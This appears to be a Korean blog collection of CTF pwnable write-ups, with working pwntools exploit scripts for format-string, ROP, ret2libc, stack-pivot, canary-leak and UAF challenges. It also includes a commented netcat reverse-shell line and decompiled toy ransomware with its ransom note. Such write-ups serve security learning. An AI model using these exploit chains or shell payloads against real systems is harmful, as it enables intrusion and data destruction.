#include <time.h>
#include <stdlib.h>

unsigned int password ;

int main(){
	setvbuf(stdout,0,2,0);
	char buf[100];
	char input[16];
	int fd ;
	srand(time(NULL));
	fd = open("/dev/urandom",0);
	read(fd,&password,4);
	printf("What your name ? ");
	read(0,buf,99);
	printf("Hello ,");
	printf(buf);
	printf("Your password :");
	read(0,input,15);
	if(atoi(input) != password){
		puts("Goodbyte");
	}else{
		puts("Congrt!!");
		system("cat /home/crack/flag");
	}
}

첫 번째 방법은 password를 0으로 만들고 0을 입력해주면 된다.

from pwn import *

e = ELF('./crack')
p = process('./crack')

password = 0x0804A048
offset = 10
payload = fmtstr_payload(offset,{password:0})
p.sendlineafter('?',payload)
p.sendlineafter(':',p32(0))

p.interactive()

두 번째 방법은 password 값을 FSB 이용해서 leak해준 다음에 값 맞춰주면 된다.

from pwn import *

e = ELF('./crack')
p = process('./crack')
offset = 10
password = 0x0804a048
payload = p32(password) + '%10$s'
p.sendlineafter('? ',payload)
p.recvuntil(',')
p.recv(4)
real_pass = u32(p.recv(4))
p.sendlineafter(':',str(real_pass))
p.interactive()

[HITCON-Training]Lab6

32비트 바이너리다.

migration: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped

보호기법은 Full RELRO, NX가 걸려있다.

[*] '/vagrant/ctfs/migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

메인은 그냥 입력을 받는데 ebp-0x28위치에 있어서 payload를 쓸 수 있는 공간이 크지 않다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-28h]

  if ( count != 1337 )
    exit(1);
  ++count;
  setvbuf(_bss_start, 0, 2, 0);
  puts("Try your best :");
  return read(0, &buf, 64u);
}

stack pivot을 이용해서 풀었다.

sfp에 bss1을 씀으로 ebp 변경하고 read로 ret을 해서 입력을 받은 값이 bss1 영역에 들어간다. 그리고 leave-ret으로 다음 입력 받는 값을 ebp로 바꾼다. 그리고 그 다음 주소는 eip가 되고 그 주소로 jmp한다.

exploit.py

from pwn import *

context.arch = 'i386'
# context.log_level = 'debug'
e = ELF('./migration')
p = process('./migration')
libc = e.libc
bss1 = e.bss() + 0x100
bss2 = bss1 + 0x100
pr = 0x0804836d # pop ebx ; ret
leave_ret = 0x08048418

payload = 'A'*40
payload += p32(bss1) # sfp -> ebp
payload += p32(e.plt['read'])
payload += p32(leave_ret)
payload += p32(0)
payload += p32(bss1)
payload += p32(0x100)

p.sendafter(':',payload)

payload2 = p32(bss2) # ebp
payload2 += p32(e.plt['puts']) # eip -> jmp
payload2 += p32(pr)
payload2 += p32(e.got['puts'])
payload2 += p32(e.plt['read'])
payload2 += p32(leave_ret)
payload2 += p32(0)
payload2 += p32(bss2)
payload2 += p32(0x100)

p.sendline(payload2)
p.recvuntil('\n')

libc_base = u32(p.recv(4)) - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))

payload3 = 'AAAA'
payload3 += p32(libc_base + 0x3ac5c) # oneshot

p.sendline(payload3)

p.interactive()

[HITCON-Training]Lab5

statically linked, not stripped된 파일이고 ROP문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-14h]
 
  puts("ROP is easy is'nt it ?");
  printf("Your input :");
  fflush(stdout);
  return read(0, &v4, 100);
}

mprotect함수로 원하는 주소에 권한을 부여하고 shellcode를 넣고 실행해주면 된다.

from pwn import *
 
context.arch = 'i386'
 
e = ELF('./simplerop')
p = process('./simplerop')
r = ROP(e)
 
mprotect = e.symbols['mprotect']
bss = 0x080EB000
shellcode = asm(shellcraft.i386.sh())
print shellcode
 
pay = 'A'*(0x1c+4)
r.read(0,bss,0x100)
r.mprotect(bss,0x2000,0x7)
r.raw(bss)
pay += r.chain()
 
p.sendlineafter(':',pay)

p.sendline(shellcode)
 
p.interactive()

[HITCON-Training]Lab4

RTL문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
  char buf; // [esp+112h] [ebp-Eh]
  _DWORD *v8; // [esp+11Ch] [ebp-4h]
 
  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, &buf, 10u);
  v8 = strtol(&buf, v3, v4);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 256u);
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
}

buf에 10진수로 printf의 got값을 넣어주면 See_something함수에서 그 주소가 leak된다.

leak된 printf로 libc base 구한 후 system address 구해주면 된다.

int __cdecl See_something(_DWORD *a1)
{
  return printf("The content of the address : %p\n", *a1);
}

read()함수에 넣은 src가 Print_message함수에 인자로 들어가서 strcpy에서 취약점이 발생한다.

int __cdecl Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h]
 
  strcpy(&dest, src);
  return printf("Your message is : %s", &dest);
}

payload = buf(0x38) + sfp(4) + ret(system) + pop + sh

이렇게 페이로드 구성해주면 쉘을 딸 수 있다.

.dynstr에서 sh위치 가져와서 system(“sh”);가 되게 했다.

from pwn import *
 
# context.log_level = 'debug'
e = ELF('./ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./ret2lib')
 
p.sendlineafter(':',str(e.got['printf']))
 
p.recvuntil(': ')
printf = int(p.recv(10),16)
libc_base = printf - libc.symbols['printf']
log.info('libc_base : ' + hex(libc_base))
system = libc_base + libc.symbols['system']
 
sh = 0x804829e # .dynstr -> fflush
popret = 0x08048399 # pop ebx ; ret
pay = 'A'*(0x38+4)
pay += p32(system)
pay += p32(popret)
pay += p32(sh)
 
p.sendlineafter(':',pay)
p.interactive()

[HITCON-Training]Lab3

return to shellcode 문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-14h]
 
  setvbuf(stdout, 0, 2, 0);
  printf("Name:");
  read(0, &name, 50u);
  printf("Try your best:");
  return (int)gets(&s);
}

name은 bss에 저장된 전역변수이다.

name에 shellcode를 넣고 gets로 return을 name으로 해주면 shellcode가 실행될거다.

from pwn import *
 
e = ELF('./ret2sc')
p = process('./ret2sc')
 
p.sendlineafter(':',asm(shellcraft.i386.sh()))
pay = 'A'*(0x1c+4)
pay += p32(0x0804A060)
p.sendlineafter(':',pay)
p.interactive()

[HITCON-Training]Lab2

local Exploit이라 그냥 flag.txt 만들어주고 했다. seccomp가 걸려있어서 orw밖에 사용하지 못한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}

근데 입력받은걸 쉘코드 실행해주니까 open -> read -> write 으로 파일 열면 된다.

from pwn import *
 
e = ELF('./orw.bin')
p = process('./orw.bin')
payload = asm(shellcraft.pushstr("flag.txt"))
payload += asm(shellcraft.open('esp',0,0))
payload += asm(shellcraft.read('eax','esp',100))
payload += asm(shellcraft.write(1,'esp',100))
p.sendlineafter(':',payload)
p.interactive()

[HITCON-Training]Lab1

/dev/urandom값을 password에 넣고 입력한 값(magic)이랑 비교해서 맞으면 플래그를 출력해준다.

#include <stdio.h>
#include <unistd.h>
 
void get_flag(){
    int fd ;
    int password;
    int magic ;
    char key[] = "Do_you_know_why_my_teammate_Orange_is_so_angry???";
    char cipher[] = {7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66};
    fd = open("/dev/urandom",0);
    read(fd,&password,4);
    printf("Give me maigc :");
    scanf("%d",&magic);
    if(password == magic){
        for(int i = 0 ; i < sizeof(cipher) ; i++){
            printf("%c",cipher[i]^key[i]);
        }
    }
}
 
int main(){
    setvbuf(stdout,0,2,0);
    get_flag();
    return 0 ;
}

방법은 여러가지가 있다.

  1. 디버깅으로 magic값을 password로 맞춘다

  2. cmp를 알맞게 바꿔준후 eip를 변조해주면 된다.

  3. jnz를 jz로 바꿔서 eip를 변조해주면 된다.

  4. 테이블 값 긁어서 XOR해주면 된다.

FLAG : CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}

2019 선린 교내해킹방어대회 easybof1

stripped된 64bit 바이너리가 주어진다.

[/vagrant/hack]$ checksec easybof
[*] '/vagrant/hack/easybof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

+SUNRIN+ 으로 맞춰주면서 exit 안되게 해주고 sub_400873 으로 가서 libc leak해주면 된다.

int sub_40079A()
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-200h]
  char s; // [rsp+100h] [rbp-100h]
  char v3; // [rsp+108h] [rbp-F8h]

  memset(&s, 0, 0x100uLL);
  memset(&buf, 0, 0x100uLL);
  *&s = '_NIRNUS_';
  v3 = 0;
  puts("Are you ready??");
  write(1, "A : ", 4uLL);
  read(0, &buf, 264uLL);
  puts("checking...");
  sleep(0);
  result = strcmp(&s, "+SUNRIN+");
  if ( result )
  {
    puts("nono..");
    exit(-1);
  }
  return result;
}

그리고 릭해준 다음 pop rdi 로 main으로 간 다음에 libc_base 값 맞춰준 다음에 익스해주면 된다.

ssize_t sub_400873()
{
  char s; // [rsp+0h] [rbp-100h]

  memset(&s, 0, 0x100uLL);
  puts("okay! go!!!!");
  return read(0, &s, 292uLL);
}

exploit.py

from pwn import *

# context.log_level ='debug'
context.arch = 'amd64'
p = process('./easybof')
e = ELF('./easybof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# libc = ELF('libc6_2.27-3ubuntu1_amd64.so', checksec=False)

main = 0x00000000004008BF
prdi = 0x0000000000400953 # pop rdi ; ret
payload = 'A'*(0x200-0x100)
payload += '+SUNRIN+'
p.sendafter(': ',payload)

payload2 = 'A'*0x108
payload2 += flat(prdi,e.got['puts'],e.plt['puts'])
payload2 += p32(main)

p.sendafter('okay! go!!!!\n',payload2)
puts = u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")
log.info('puts : ' + hex(puts))
libc_base = puts - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))

p.sendafter(': ',payload)

payload3 = 'A'*0x108
payload3 += flat(prdi,libc_base+next(libc.search('/bin/sh\x00')),libc_base+libc.symbols['system'])
p.sendafter('okay! go!!!!\n',payload3)

p.interactive()

2018 Codegate catshop

UAF 취약점이 발생한다.

fget는 입력 받을 개수 -1 만큼 입력받고 마지막 문자를 NULL로 만들어서 4bytes 주소값을 넣으려면 5만큼 넣어줘야한다.

from pwn import *
 
p = process('./catshop')
e = ELF('./catshop')
 
flag = 0x080488b6
 
p.sendafter(':',p32(1)) # malloc
sleep(0.1)
p.sendafter(':',p32(2)) # free
sleep(0.1)
p.sendafter(':',p32(4)) # malloc
sleep(0.1)
p.sendafter(':',p32(5)) # length
sleep(0.1)
p.sendlineafter(':',p32(flag)) # fget -> \x00
sleep(0.1)
p.sendlineafter(':',p32(3)) # call
 
p.interactive()

2018 Codegate betting

x64 Canary Leak 문제다.

from pwn import *
 
context.arch='amd64'
e = ELF('./betting')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
p = process('./betting')
 
helper = e.symbols['helper'] # system("/bin/sh");
 
sla = lambda x,y : p.sendlineafter(x,y)
 
sla('?','A'*24)
sla('?','100')
 
p.recvuntil('Hi, ' + 'A'*24)
canary = u64(p.recv(8)) - 0xA
log.info('canary : ' + hex(canary))
 
sla('?','100')
 
pay = 'h'*40 # [rbp-30h] - [rbp-8] = 40 # rbp-8 = canary
pay += flat(canary,0,helper)
sla(':',pay)
 
p.interactive()

2016 Codegate Watermelon

이름을 입력하는 곳을 보면 전역변수(bss) 영역에 scanf를 받게 된다.

add, view, modify에 들어가는 인자가 4400만큼 할당받는다.

add함수에서는 어떠한 전역변수 하나가 100인지 비교하고 아니면 곡 추가하고 증가해주는 거 보면 곡의 인덱스인거 같다.

playlist 구조체 : num(4) + music(20) + artist(20)

이러한 구조체가 100개 있는 것이다.

int playlist_struct; // [esp+1Ch] [ebp-113Ch]
unsigned int canary; // [esp+114Ch] [ebp-Ch]
구조체(4400) + canary()

add() : 1byte overflow

view() : playlist view -> view canary

modify() : overflow

Canary Leak 시나리오

add()로 playlist 100개 채우는데 마지막에 artist만 21개 입력해서 Canary Leak해준다.

view()로 가서 Leak된 Canary를 알아온다.

modify()로 가서 bof 일으키고 Canary 값 맞춰주면서 ROP 해주면 된다.

from pwn import *
 
context.log_level = 'debug'
context.arch = 'i386'
 
p = process('./watermelon')
libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
e = ELF('./watermelon')
 
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda x : p.sendline(x)
sa = lambda x,y : p.sendafter(x,y)
s = lambda x : p.send(x)
 
popret = 0x080484d1 # 0x080484d1 : pop ebx ; ret
pop3ret = 0x080495ad # 0x080495ad : pop ebx ; pop edi ; pop ebp ; ret
bss = e.bss()
 
def add():
    sla('\tselect\t|\t\n','1')
    sla('\tmusic\t|\t','A')
    sla('\tartist\t|\t','A')
 
if __name__ == '__main__':
    sla('name : \n','realsung')
    for i in range(99):
        add()
    sla('\tselect\t|\t\n','1')
    sla('\tmusic\t|\t','A')
    sla('\tartist\t|\t','A'*21)
 
    sla('\tselect\t|\t\n','2')
    p.recvuntil('A'*20)
    canary = u32(p.recv(4)) - ord('A')
    log.info('canary : ' + hex(canary))
 
    ########################################
 
    sla('\tselect\t|\t\n','3')
    sla('select number\t|\t\n','100')
    sla('\tmusic\t|\t','B')
 
    # artist(20) + canary(4) + dummy(8) + sfp(4) + ret 
    pay = 'A'*20
    pay += p32(canary)
    pay += 'A'*12
    pay += flat(e.plt['puts'],popret,e.got['puts'])
    pay += flat(e.plt['read'],pop3ret,0,bss,10)
    pay += flat(e.plt['read'],pop3ret,0,e.got['puts'],8)
    pay += flat(e.plt['puts'],'AAAA',bss) 
    sla('\tartist\t|\t',pay)
 
    sla('\tselect\t|\t\n','4')
 
    p.recvuntil('BYE BYE\n\n')
    puts = u32(p.recv(4))
    log.info('puts : ' + hex(puts))
    libc_base = puts - libc.symbols['puts']
    log.info('libc_base : ' + hex(libc_base))
    system = libc_base + libc.symbols['system']
    log.info('system : ' + hex(system))
 
    sl('/bin/sh\x00')
    s(p32(system))
 
p.interactive()

2015 Defcamp CTF r0pbaby

PIE 걸려있어서 2번 메뉴로 주소 가져온걸로 주소값 다 offset 맞춰줬다.

poprdi 같은 경우는 rp++로 libc에서 긁어왔다.

from pwn import *
 
context.arch = 'amd64'
context.log_level = 'debug'
 
e = ELF('./r0pbaby_542ee6516410709a1421141501f03760')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
p = process('./r0pbaby_542ee6516410709a1421141501f03760')
 
def getfunc(func):
    p.sendlineafter(': ','2')
    p.sendlineafter(': ',func)
    p.recvuntil(func + ': ')
    fun = int(p.recvline(),16)
    log.info(func + ': ' + hex(fun))
    return fun
 
system = getfunc('system')
libcbase = system - libc.symbols['system']
log.info('libc_base : ' + hex(libcbase))
binsh = libcbase + next(libc.search('/bin/sh\x00'))
poprdi = libcbase + 0x00021102
 
pay = 'A' * 8
pay += flat(poprdi,binsh,system)
 
p.sendlineafter(': ','3')
p.sendlineafter(': ','32')
p.sendline(pay)
 
p.interactive()

2018 Codegate BaskinRobins31

puts leak

bss -> /bin/sh\x00

main -> RTL

from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'
 
e = ELF('./BaskinRobins31')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./BaskinRobins31')
 
popret = 0x0000000000400bc3 # pop rdi ; ret
pop3ret = 0x000000000040087a # pop rdi ; pop rsi ; pop rdx ; ret
cmd = '/bin/sh\x00'
bss = e.bss()
 
pay = 'A'*184
pay += flat(popret,e.got['puts'],e.plt['puts'])
pay += flat(pop3ret,0,bss,len(cmd)+2,e.plt['read'])
pay += flat(e.symbols['your_turn'])
p.sendlineafter('(1-3)\n',pay)
 
p.recvuntil('...:( \n')
puts = u64(p.recv(6)+'\x00\x00')
log.info('puts : ' + hex(puts))
libc_base = puts - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
system = libc_base + libc.symbols['system']
log.info('system : ' + hex(system))
 
p.sendline(cmd)
 
pay2 = 'A'*184
pay2 += flat(popret,bss,system)
p.sendlineafter('(1-3)\n',pay2)
 
p.interactive()


write leak

write_got -> system

system(“/bin/sh\x00”);

from pwn import *
 
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./BaskinRobins31')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./BaskinRobins31')
 
pop3ret = 0x000000000040087a # : pop rdi ; pop rsi ; pop rdx ; ret
popret = 0x0000000000400bc3 # : pop rdi ; ret
 
pay = 'A'*184
pay += flat(pop3ret,1,e.got['write'],8,e.plt['write'])
pay += flat(pop3ret,0,e.bss(),10,e.plt['read'])
pay += flat(pop3ret,0,e.got['write'],8,e.plt['read'])
pay += flat(popret,e.bss(),e.plt['write'])
 
p.sendlineafter('(1-3)\n',pay)
 
p.recvuntil('...:( \n')
write = u64(p.recv(6) + '\x00\x00')
log.info('write : ' + hex(write))
libc_base = write - libc.symbols['write']
log.info('libc_base : ' + hex(libc_base))
system = libc_base + libc.symbols['system']
log.info('system : ' + hex(system))
 
p.sendline('/bin/sh\x00')
p.sendline(p64(system))
 
p.interactive()


puts leak

oneshot -> libc_base + oneshot

main -> ret -> oneshot

from pwn import *
 
context.arch = 'amd64'
context.log_level = 'debug'
 
e = ELF('./BaskinRobins31')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./BaskinRobins31')
 
magic = 0x45216
bss = e.bss()
popret = 0x0000000000400bc3 # : pop rdi ; ret
 
pay = 'A'*(0xb0 + 8)
pay += flat(popret,e.got['puts'],e.plt['puts'])
pay += flat(e.symbols['your_turn'])
p.sendlineafter('(1-3)\n',pay)
 
p.recvuntil('...:( \n')
puts = u64(p.recv(6) + '\x00\x00')
libc_base = puts - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
 
magic = libc_base + magic
log.info('oneshot : ' + hex(magic))
 
pay2 = 'A'*(0xb0 + 8)
pay2 += p64(magic)
 
p.sendlineafter('(1-3)\n',pay2)
 
p.interactive()

2013 HDCON luckyzzang

프로그램 내부에서 소켓 서버를 열어주고 하는데 recv, send로 ROP해주면 된다.

from pwn import *
 
context.log_level = 'debug'
 
#p = process('./luckyzzang')
p = remote('localhost',7777)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
e = ELF('./luckyzzang')
r = ROP(e)
 
bss = e.bss()
cmd = '/bin/sh\x00'
send_got = e.got['send']
recv_got = e.got['recv']
 
# send write
# recv read
pay = 'A'*1036
r.recv(4,bss,len(cmd)+2,0) # bss <- /bin/sh
r.send(4,send_got,4,0) # send got leak
r.recv(4,send_got,4,0) # send got -> system
r.send(bss) # system("bin/sh")
pay += r.chain()
 
p.sendlineafter('MSG : ',pay)
 
p.sendline(cmd)
 
recv_system_offset = libc.symbols['send'] - libc.symbols['system']
system = u32(p.recv(4)) - recv_system_offset
log.info('system : ' + hex(system))
 
p.sendline(p32(system))
 
p.interactive()

2014 Codegate angry_doraemon

codegate babypwn하고 비슷한 문제다. fork되어서 canary값은 고정이므로 canary leak해주고 ROP해주면 된다.

from pwn import *
 
context.log_level = 'debug'
 
e = ELF('./angry_doraemon_c927b1681064f78612ce78f6b93c14d9')
r = ROP(e)
p = remote('localhost',8888)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
 
sleep(2)
p.sendlineafter('>','4')
p.sendlineafter('(y/n)','y'*10) # 10 -> stack smash
p.recvuntil('yyyyyyyyyy\n')
canary = u32('\x00'+p.recv(3)) #fork - > static
log.info('Canary : ' + hex(canary)) # Canary leak
p.close()
 
##################################################
 
p = remote('localhost',8888)
 
sleep(2)
 
bss = e.bss()
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
cmd = '/bin/sh'
read_system_offset = libc.symbols['read'] - libc.symbols['system']
 
payload = 'y'*10
payload += p32(canary)
payload += 'A'*12
r.read(4,bss,len(cmd)+2) # /bin/sh
r.write(4,read_got,4) # read leak
r.read(4,read_got,4) # read_got - > system
r.read(bss)
payload += r.chain()
 
p.sendlineafter('>','4')
sleep(0.5) 
p.sendlineafter('Are you sure? (y/n) ',payload)
sleep(0.5)
p.sendline(cmd)
sleep(0.5)
 
system = u32(p.recv(4)) - read_system_offset
log.info('system = ' + hex(system))
p.sendline(p32(system))
 
p.interactive()

2018 Layer7 CTF talmoru_party!~

2018년 Layer7 CTF에 출제된 문제이다.

일반적인 ROP다. 근데 함수중에 fflush가 사용된 것을 보고 .dynstr에 적재된 fflush함수의 뒤 두 글자 sh 를 넣어주고 익스했다.

objdump -h BINARY 로 섹션 헤더를 보면 .dynstr 주소 값을 gdb로 보면 함수 이름들이 있는 것을 알 수 있다.

그래서 system("/bin/sh") 해주지 않아도 system("sh") 로 쉘을 흭득할 수 있다.

from pwn import *
 
e = ELF('./talmo_party')
r = ROP(e)
#libc = ELF('./layer7.so.6')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./talmo_party')
 
vuln = 0x80486e0
puts_plt = e.plt['puts']
puts_got = e.got['puts']
 
p.sendlineafter('>>','3')
 
payload = 'A'*(0x40+4)
r.puts(puts_got)
r.raw(vuln)
payload += str(r)
p.sendline(payload)
p.recvuntil('~~!\n')
 
libc_base = u32(p.recv(4)) - libc.symbols['puts']
system = libc_base + libc.symbols['system']
log.info('libcbase : ' +hex(libc_base))
 
pay2 = 'A'*(0x40+4)
pay2 += p32(system)
pay2 += 'AAAA'
pay2 += p32(0x80482da) # .dynstr -> fflush -> sh get
#pay2 += p32(libc_base+list(libc.search('/bin/sh'))[0])
p.sendline(pay2)
 
p.interactive()

2017 Codegate babypwn

Reverse Shell을 열어서 풀면 된다.

canary leak해주면 되는데 이 바이너리를 보면 fork되어 있는 것을 알 수 있다. 그래서 canary값은 고정이다.

nc 접속해서 ret 전까지 카나리 값 맞춰주면서 덮어주고 recv함수 이용해서 bss영역에 /bin/sh (리버스쉘) 넣은 다음에 system함수로 실행시키면 된다.

  1. Canary Leak

  2. bof -> rop

  3. rop chain -> recv(4,bss,/bin/sh,0)

  4. system(bss)

# -*-coding:utf-8-*- 
from pwn import *
 
e = ELF('./babypwn')
p = remote('localhost',8181)
r = ROP(e)
cmd = '/bin/sh'
# cmd = nc -lvp localhost 1234 -e /bin/sh
 
# canary leak
p.sendlineafter('> ','1')
p.sendlineafter(': ','A'*40)
p.recv(41)
canary = u32('\x00'+p.recv(3))
log.info('Canary : ' + hex(canary)) # canary 주소는 고정 fork 사용해서
 
p.close()

# solve
p = remote('localhost',8181)
bss = e.bss()

p.sendlineafter('> ','1')
 
# dummy(52) + sfp(4) + ret
pay = 'A'*40
pay += p32(canary)
pay += 'A'*12
r.recv(4,bss,len(cmd)+2,0)
r.system(bss)
pay += r.chain()
 
p.sendafter(': ',pay)
 
p.recvuntil('> ')
p.sendline('3')
sleep(0.3)
p.sendline(cmd)
 
p.interactive()

2019 Newark Academy CTF Writeup

BufferOverflow #0

리턴값만 덮어주면 된다.

from pwn import *

p = remote('shell.2019.nactf.com',31475) 
payload = ''
payload += 'A'*28
payload += p32(0x080491c2)
p.sendlineafter('>',payload)
p.interactive()


BufferOverflow #1

리턴값만 덮어주면 된다.

from pwn import *
 
p = remote('shell.2019.nactf.com',31462)
payload = ''
payload += 'A'*28
payload += p32(0x080491b2)
p.sendlineafter('>',payload)
p.interactive()


BufferOverflow #2

인자로 들어가는 a1이 long long int라 p64로 값 맞춰주면 된다.

from pwn import *
 
context.log_level = "debug"
p = remote('shell.2019.nactf.com',31184)
e = ELF('./bufover-2')
win = 0x080491c2
payload = 'A'*28
payload += p32(e.sym.win)
payload += 'AAAA'
payload += p64(0x14B4DA55)
payload += p32(0xF00DB4BE)
p.sendlineafter('>',payload)
p.interactive()


Format #0

그냥 printf 포맷스트링 버그 터지는데 Leak해주면 풀린다.

from pwn import *
 
for i in range(30):
    p = remote('shell.2019.nactf.com',31782)
    payload = '%' + str(i) + '$s'
    sleep(1)
    p.sendlineafter('>',payload)
    ex = p.recv(1024)
    if 'nactf' in ex:
        print ex
        p.close()
        exit(0)
    p.close()
p.interactive()


Format #1

fmtstr_payload로 printf got 주소를 win으로 바꿔주면 printf 함수 실행할때 win함수가 실행되서 풀릴 것이다.

from pwn import *
 
p = remote('shell.2019.nactf.com',31560)
e = ELF('./format-1')
 
payload = fmtstr_payload(4,{e.got['printf']:e.symbols['win']})
p.sendlineafter('>',payload) 
p.interactive()


Loopy#0

그냥 fsb로 leak해주고 RTL해주면 된다.

from pwn import *
 
context.arch='i386'
e = ELF('loopy-0')
libc = ELF('./libc.so.6')
p = remote('shell.2019.nactf.com',31283)
 
popret = 0x0804901e # pop ebx ; ret
payload = p32(e.got['printf']) + '%4$s'
payload += 'A'*(0x48+4-8)
payload += p32(e.symbols['vuln']) # ret
p.sendlineafter('>',payload)
p.recvuntil(': ')
p.recv(4)
printf = u32(p.recv(4))
log.info('printf : ' + hex(printf))
libc_base = printf - libc.symbols['printf']
log.info('libc_base : ' + hex(libc_base))
 
payload2 = 'A'*(0x48+4)
payload2 += p32(libc_base + libc.symbols['system'])
payload2 += 'AAAA'
payload2 += p32(libc_base + libc.search('/bin/sh').next())
p.sendlineafter('>',payload2)
 
p.interactive()


Loopy #1

Canary 걸려잇어서 stack_chk_fail GOT를 start로 바꾸고 Leak해주면서 Canary도 Leak해주고 Canary 잘 맞춰주고 페이로드 짜면 된다.

from pwn import *
 
# context.log_level = 'debug'
e = ELF('./loopy-1')
libc = ELF('./libc.so.6')
p = remote('shell.2019.nactf.com',31732)
 
__stack_chk_fail = 0x0804C014 # got
_start = 0x08049090
 
payload = fmtstr_payload(7,{__stack_chk_fail:_start})
payload += 'A'*100
p.sendlineafter('>',payload)
 
payload2 = p32(e.got['printf']) + '%7$s'
payload2 += 'A'*100
p.sendlineafter('>',payload2)
 
p.recvuntil(': ')
p.recv(4)
libc_base = u32(p.recv(4)) - libc.symbols['printf']
log.info('libc_base : ' + hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
 
payload3 = '%31$p'
payload3 += 'A'*62
p.sendlineafter('>',payload3)
 
p.recvuntil(': ')
canary = int(p.recv(10),16)
log.info('canary : ' + hex(canary))
 
payload4 = 'A'*64
payload4 += p32(canary)
payload4 += 'A'*12
payload4 += p32(system)
payload4 += p32(system)
payload4 += p32(binsh)
p.sendlineafter('>',payload4)
 
p.interactive()

2019 제 14회 중고생정보보호올림피아드 풀이

2019.9.21 9:30 ~ 5:00 까지 진행했습니다. 문제는 총 10개였습니다.

Q1

Web문제인데 Web + Cryptography 섞어놓은듯한 문제다.

풀이를 들은 바로는 Q1에서 니힐리스트 암호를 풀고 다음으로 넘어가면 magic hash를 풀면 Q2로 넘어간다.

Q2에서는 스크립트 주는데 hex 값으로 바꾸면 자스 코드가 나온다. 이 자스 코드를 Console에 넣으면 키가 나온다.

이 키를 서버로 전송할 때 3글자 제한으로 짤려서 보내지는데 길이 제한을 바꿔서 보내주면 된다고 한다.

Q2

Randsomware Reversing 문제이다. 끝나고 풀었다 ㅎ,ㅎ,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int16 v4; // [rsp+2Eh] [rbp-92h]
  unsigned __int8 v5; // [rsp+30h] [rbp-90h]
  unsigned __int8 v6; // [rsp+31h] [rbp-8Fh]
  unsigned __int8 v7; // [rsp+32h] [rbp-8Eh]
  unsigned __int8 v8; // [rsp+33h] [rbp-8Dh]
  char Dest[8]; // [rsp+40h] [rbp-80h]
  char Filename; // [rsp+50h] [rbp-70h]
  FILE *v11; // [rsp+90h] [rbp-30h]
  char *Str; // [rsp+98h] [rbp-28h]
  char *v13; // [rsp+A0h] [rbp-20h]
  FILE *v14; // [rsp+A8h] [rbp-18h]
  char *v15; // [rsp+B0h] [rbp-10h]
  FILE *File; // [rsp+B8h] [rbp-8h]

  _main();
  printf("input file name\n>>> ");
  scanf("%s", &Filename);
  File = fopen(&Filename, "rb");
  if ( File )
  {
    strcpy(Dest, "Encrypted_");
    v15 = strcat(Dest, &Filename);
    printf("\nencrypted file name : \n\t%s\n", v15);
    v14 = fopen(v15, "wb");
    v5 = dec_to_hex(12i64);
    v6 = dec_to_hex(1i64);
    v7 = dec_to_hex(95i64);
    v8 = dec_to_hex(19i64);
    while ( fscanf(File, "%c", &v4) != -1 )
    {
      v4 += v5;
      v4 ^= v6;
      v4 ^= v7;
      v4 -= v8;
      fputc(v4, v14);
    }
    printf("\nsuccess");
    v13 = "_README.txt";
    Str = "Oops, Your files have been encrypted.\n"
          "\n"
          "If you see this text, your files are no longer accessible.\n"
          "You might have been looking for a way to recover your files.\n"
          "Don't waste your time. No one will be able to recover them without\n"
          "decryption service.";
    v11 = fopen("_README.txt", "w");
    fputs(Str, v11);
    fclose(File);
    remove(&Filename);
  }
  else
  {
    printf("\nerror : not found");
    fclose(File);
  }
  return 0;
}

이렇게 파일 1bytes씩 연산을 하는데 역연산 해주면 된다.

